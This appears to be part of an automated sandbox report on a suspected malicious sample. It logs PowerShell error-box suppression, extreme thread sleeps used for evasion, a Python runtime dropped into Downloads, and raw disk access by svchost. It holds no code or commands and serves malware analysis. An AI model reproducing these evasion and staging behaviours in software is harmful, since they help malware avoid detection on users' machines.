Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9184
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 710
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2533
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6510
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1128
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 659
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4657
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2771
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3437
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5162
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4465
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5602
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4040
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\py.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\unicodedata.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\select.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\libssl-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\zlib1.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\tk86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\libcrypto-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\sqlite3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\pyw.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\pyexpat.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\libffi-8.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\winsound.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\tcl86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pydJump to dropped file
Source: C:\Windows\System32\svchost.exe TID: 6332Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004Thread sleep count: 9184 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004Thread sleep count: 710 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956Thread sleep count: 2533 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956Thread sleep count: 6510 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5292Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1176Thread sleep count: 1128 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6092Thread sleep count: 659 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 756Thread sleep count: 4657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1768Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3744Thread sleep count: 2771 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3744Thread sleep count: 3437 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4732Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3348Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4668Thread sleep count: 5162 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2752Thread sleep count: 4465 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3704Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3564Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3564Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5504Thread sleep count: 5602 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5492Thread sleep count: 4040 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 364Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
